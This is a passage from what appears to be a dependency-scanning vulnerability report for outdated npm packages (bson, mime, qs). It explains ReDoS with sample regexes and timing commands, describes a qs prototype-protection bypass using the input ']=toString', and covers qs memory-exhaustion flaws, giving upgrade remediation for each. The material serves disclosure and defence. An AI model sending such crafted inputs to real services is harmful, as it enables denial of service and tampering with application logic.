  • DOM-based XSS is an that occurs purely in the browser when client-side JavaScript echoes back a portion of the URL onto the page. DOM-Based XSS is notoriously hard to detect, as the server never gets a chance to see the attack taking place.

Regular Expression Denial of Service (ReDoS)

low severity

Detailed paths

  • Introduced through: angular@0.0.4 > mongoose@2.5.13 > mongodb@0.9.9-7 > bson@0.0.4

Overview

bson is a bson parser for node.js and the browser

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) attacks. This can cause an impact of about 10 seconds matching time for data 50K characters long.

Disclosure Timeline

  • Feb 15th, 2018 - Initial Disclosure to package owner
  • Feb 26th, 2018 - Initial Response from package owner
  • Feb 26th, 2018 - Fix issued
  • Feb 27th, 2018 - Vulnerability published

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade bson to version 1.0.5 or higher

References

Regular Expression Denial of Service (ReDoS)

low severity

Detailed paths

  • Introduced through: cordova@0.0.4 > express@3.0.6 > connect@2.7.2 > send@0.1.0 > mime@1.2.6
  • Introduced through: cordova@0.0.4 > express@3.0.6 > send@0.1.0 > mime@1.2.6
  • Introduced through: hapi@0.0.4 > express@2.5.11 > mime@1.2.4
  • Introduced through: angular@0.0.4 > express@2.5.10 > mime@1.2.4

Overview

mime is a comprehensive, compact MIME type module.

Affected versions of this package are vulnerable to Regular expression Denial of Service (ReDoS). It uses regex the following regex /.*[\.\/\\]/ in its lookup, which can cause a slowdown of 2 seconds for 50k characters.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Many Regular Expression implementations may reach extreme situations that cause them to work very slowly (exponentially related to input size), allowing an attacker to exploit this and can cause the program to enter these extreme situations by using a specially crafted input and cause the service to excessively consume CPU, resulting in a Denial of Service.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade mime to versions 1.4.1, 2.0.3 or higher.

References

Prototype Override Protection Bypass

high severity

Detailed paths

  • Introduced through: cordova@0.0.4 > express@3.0.6 > connect@2.7.2 > qs@0.5.1
  • Introduced through: hapi@0.0.4 > express@2.5.11 > qs@0.4.2
  • Introduced through: angular@0.0.4 > express@2.5.10 > qs@0.4.2

Overview

qs is a querystring parser that supports nesting and arrays, with a depth limit.

By default qs protects against attacks that attempt to overwrite an object's existing prototype properties, such as toString(), hasOwnProperty(),etc.

From qs documentation:

By default parameters that would overwrite properties on the object prototype are ignored, if you wish to keep the data from those fields either use plainObjects as mentioned above, or set allowPrototypes to true which will allow user input to overwrite those properties. WARNING It is generally a bad idea to enable this option as it can cause problems when attempting to use the properties that have been overwritten. Always be careful with this option.

Overwriting these properties can impact application logic, potentially allowing attackers to work around security controls, modify data, make the application unstable and more.

In versions of the package affected by this vulnerability, it is possible to circumvent this protection and overwrite prototype properties and functions by prefixing the name of the parameter with [ or ]. e.g. qs.parse("]=toString") will return {toString = true}, as a result, calling toString() on the object will throw an exception.

Example:

qs.parse('toString=foo', { allowPrototypes: false })
// {}

qs.parse("]=toString", { allowPrototypes: false })
// {toString = true} <== prototype overwritten

For more information, you can check out our blog.

Disclosure Timeline

  • February 13th, 2017 - Reported the issue to package owner.
  • February 13th, 2017 - Issue acknowledged by package owner.
  • February 16th, 2017 - Partial fix released in versions 6.0.3, 6.1.1, 6.2.2, 6.3.1.
  • March 6th, 2017 - Final fix released in versions 6.4.0,6.3.2, 6.2.3, 6.1.2 and 6.0.4

Remediation

Upgrade qs to version 6.4.0 or higher. Note: The fix was backported to the following versions 6.3.2, 6.2.3, 6.1.2, 6.0.4.

References

Denial of Service (Event Loop Blocking)

medium severity

Detailed paths

  • Introduced through: cordova@0.0.4 > express@3.0.6 > connect@2.7.2 > qs@0.5.1
  • Introduced through: hapi@0.0.4 > express@2.5.11 > qs@0.4.2
  • Introduced through: angular@0.0.4 > express@2.5.10 > qs@0.4.2

Overview

qs is a querystring parser that supports nesting and arrays, with a depth limit.

Affected versions of this package are vulnerable to Denial of Service (DoS). When parsing a string representing a deeply nested object, qs will block the event loop for long periods of time. Such a delay may hold up the server's resources, keeping it from processing other requests in the meantime, thus enabling a Denial-of-Service attack.

Remediation

Update qs to version 1.0.0 or higher. In these versions, qs enforces a max object depth (along with other limits), limiting the event loop length and thus preventing such an attack.

References

Denial of Service (Memory Exhaustion)

high severity

Detailed paths

  • Introduced through: cordova@0.0.4 > express@3.0.6 > connect@2.7.2 > qs@0.5.1
  • Introduced through: hapi@0.0.4 > express@2.5.11 > qs@0.4.2
  • Introduced through: angular@0.0.4 > express@2.5.10 > qs@0.4.2

Overview

qs is a querystring parser that supports nesting and arrays, with a depth limit.

Affected versions of this package are vulnerable to Denial of Service (Dos) attacks. During parsing, the qs module may create a sparse area (an array where no elements are filled), and grow that array to the necessary size based on the indices used on it. An attacker can specify a high index value in a query string, thus making the server allocate a respectively big array. Truly large values can cause the server to run out of memory and cause it to crash - thus enabling a Denial-of-Service attack.

Remediation

Upgrade qs to version 1.0.0 or greater. In these versions, qs introduced a low limit on the index value, preventing such an attack

References